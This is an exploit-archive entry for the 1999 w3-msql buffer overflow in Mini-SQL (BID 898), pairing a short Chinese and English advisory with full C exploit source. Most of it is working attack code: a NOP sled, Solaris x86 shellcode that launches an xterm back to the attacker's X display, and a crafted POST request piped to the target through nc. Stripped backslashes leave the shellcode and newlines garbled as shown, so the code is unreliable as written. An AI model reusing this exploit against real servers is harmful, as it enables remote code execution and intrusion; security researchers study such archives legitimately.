https://www.exploit-db.com/exploits/19696
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-092

MiniSQL是一个小型的SQL数据库系统，由HughesTechnology公司开发和维护。w3-msql是作为Mini-SQL的Web访问接口的CGI程序。w3-msql实现上存在多个缓冲区溢出漏洞，远程攻击者可能利用其中的一个溢出漏洞以CGI进程的权限执行任意指令。发生溢出的缓冲区为content-length字段，在scanf()调用中发生溢出，精心构建字串，远程攻击者可能通过溢出攻击以Web服务进程的权限执行任意指令。

source: http://www.securityfocus.com/bid/898/info

w3-msql is a cgi-program shipped with Mini-SQL which acts as a web interface for msql. There are a number of buffer overflow vulnerabilities in it with one proven to be exploitable. The exploitable buffer is the content-length field and the stack is overflowed inside of a scanf() call. As a result, it is possible to execute arbitrary code remotely as the uid of the webserver (usually nobody).


/*
 * !Hispahack Research Team
 * http://hispahack.ccc.de
 *
 * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
 *
 * Platform: Solaris x86
 *           Feel free to port it to other arquitectures, if you can...
 *           If so mail me plz.
 *
 * By: Zhodiac <[email protected]>
 *
 * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
 *        2) xhost +<target_ip>
 *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
 *        4) Take a cup of cofee, some kind of drug or wathever
 *           estimulates you at hacking time... while the xterm is comming
 *           or while you are getting raided.
 * 
 * #include <standard/disclaimer.h>
 *        
 * Madrid, 28/10/99
 * 
 * Spain r0x
 *        
 */

#include <stdio.h>
#include <string.h>  
#include <stdlib.h>

/******************/
/* Customize this */
/******************/
//#define LEN_VAR         50     /* mSQL 2.0.4 - 2.0.10.1 */
#define LEN_VAR       128    /* mSQL 2.0.11 */

// Solaris x86
#define ADDR 0x8045f8

// Shellcode Solaris x86
char shellcode[]= /* By Zhodiac <[email protected]> */
 "x8bx74x24xfcxb8x2ex61x68x6dx05x01x01x01x01x39x06"
 "x74x03x46xebxf9x33xc0x89x46xeax88x46xefx89x46xfc"
 "x88x46x07x46x46x88x46x08x4ex4ex88x46xffxb0x1fxfe"
 "xc0x88x46x21x88x46x2ax33xc0x89x76xf0x8dx5ex08x89"
 "x5exf4x83xc3x03x89x5exf8x50x8dx5exf0x53x56x56xb0"
 "x3bx9axaaxaaxaaxaax07xaaxaaxaaxaaxaaxaaxaaxaaxaa"
 "xaaxaaxaaxaaxaaxaaxaaxaa"
 "/bin/shA-cA/usr/openwin/bin/xtermA-displayA";

#define ADDR_TIMES      12
#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
#define NOP     0x90
 
int main (int argc, char *argv[]) {
 
char *buf, *ptr;
long addr=ADDR;
int aux;

 if (argc<3){
   printf("Usage: %s target display | nc target 80 n",argv[0]);
   exit(-1);
   }

 if ((buf=malloc(BUFSIZE))==NULL) {
       perror("malloc()");
       exit(-1);
      } 

 shellcode[44]=(char)strlen(argv[2])+43;
   
 ptr=(char *)buf;
 memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
 ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);  
 memcpy(ptr,argv[2],strlen(argv[2]));
 ptr+=strlen(argv[2]);

 for (aux=0;aux<ADDR_TIMES;aux++) {
   ptr[0] = (addr & 0x000000ff);
   ptr[1] = (addr & 0x0000ff00) >> 8;
   ptr[2] = (addr & 0x00ff0000) >> 16;
   ptr[3] = (addr & 0xff000000) >> 24;
   ptr+=4;
   }
 
 printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0n");
 printf("Connection: Keep-Aliven");
 printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686n");
 printf("Host: %sn",argv[1]);  
 printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpegn");
 printf("Accept-Encoding: gzipn");   
 printf("Accept-Language: enn");
 printf("Accept-Charset: iso-8859-1,*,utf-8n");
 printf("Content-type: multipart/form-datan");
 printf("Content-length: %inn",BUFSIZE);
 
 printf("%s nnn",buf);
 
 free(buf);
 
}

来源:BID
名称:898
链接:http://www.securityfocus.com/bid/898